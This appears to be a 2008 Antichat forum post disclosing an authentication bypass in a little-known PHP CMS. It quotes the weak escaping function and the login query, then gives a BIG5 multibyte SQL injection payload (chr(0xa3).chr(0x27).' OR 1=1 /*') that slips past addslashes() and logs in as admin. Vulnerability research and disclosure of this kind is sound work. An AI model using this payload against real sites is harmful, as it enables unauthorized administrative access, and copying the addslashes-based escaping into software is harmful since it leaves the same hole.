ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #3  
Старый 22.12.2008, 21:53
Dimi4
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
Провел на форуме:
7617458

Репутация: 3965


Отправить сообщение для Dimi4 с помощью ICQ
По умолчанию

Обход авторизации в админке.
Так как даная цмс еще не очень популярна (надеюсь не станет ей до исправления багов ) такой случай очень редкий.

Требования:

PHP: < v4.3.0
magic_qoutes_gpc: OFF
character_set_results: BIG5 (Или любая другая мультибайтовая кодировка - SJIS, BIG5 и GBK)

Уязвимая функция (functions.php)

PHP код:
function mysql_prep($value)
{
    
$magic_quotes_active get_magic_quotes_gpc();
    
$new_enough_php function_exists("mysql_real_escape_string"); // i.e. PHP >= v4.3.0
    
if ($new_enough_php) { // PHP v4.3.0 or higher
        // undo any magic quote effects so mysql_real_escape_string can do the work
        
if ($magic_quotes_active) {
            
$value stripslashes($value);
        }
        
$value mysql_real_escape_string($value);
    } else { 
// before PHP v4.3.0
       
        
if (!$magic_quotes_active) {
            
$value addslashes($value);
        }
       
    }
    return 
$value;

PHP код:
addslashes() 
Перед одинарными и двойными кавычками, беклсешем, нуллбайтом добавляет обратный слэш. В мультибайтовой BIG5 кодировке 0xa327 - неверный символ, но после слеширования, у - 0xa35c27. 0xa35c для BIG5 корректный символ. Но и 0х27 станет отдельным и кавычка не будет экранироватся.

Другой уязвимый кусок кода:
PHP код:
$user_name mysql_prep($_POST['user_name']);
        
$password mysql_prep($_POST['password']);
        
$h_password sha1($password);

        
$query " SELECT id, user_name, s_admin  ";
        
$query .= " FROM users ";
        
$query .= " WHERE user_name = '{$user_name}' ";
        
$query .= " AND h_password = '{$h_password}' ";
        
$query .= " AND active = 1 ";
        
$query .= " LIMIT 1 ";
        
$result mysql_query($query); 
PHP код:
 if (mysql_num_rows($result) == 1) {
            
$valid_user mysql_fetch_array($result);
            
$_SESSION['user_id'] = $valid_user['id'];
            
$_SESSION['user_name'] = $valid_user['user_name'];
            
$_SESSION['s_admin'] = $valid_user['s_admin'];
            
redirect_to("index.php"); 
Пример для пост заголовка на пхп:

PHP код:
$header .= chr(0xa3).chr(0x27).' OR 1=1 /*'
Sql запрос примет такой вид:

PHP код:
$query " SELECT id, user_name, s_admin FROM users WHERE user_name = 'значение+0xa35c+' OR 1=1 /*' AND h_password = '{$h_password}' AND active = 1 LIMIT 1 "
Таким образом пройдем авторизацию

Спасибо [Raz0r] За статью в блоге
Спасибо The:Paradox за експлойт для SMF <= 1.1.4
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей vBulletin] bandera Форумы 74 07.06.2010 16:19
Переполнение буфера в Kaspersky Anti-Virus bul666 Мировые новости 9 15.08.2009 15:08
В Windows Mobile найдено две уязвимости ground_zero Мировые новости 1 06.02.2007 11:40
Множественные уязвимости в INVISION POWER BOARD 2.1.x GreenBear Уязвимости 6 02.03.2006 21:36
Действующие уязвимости почтовых систем РФ Maxmen E-Mail 16 12.12.2004 16:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ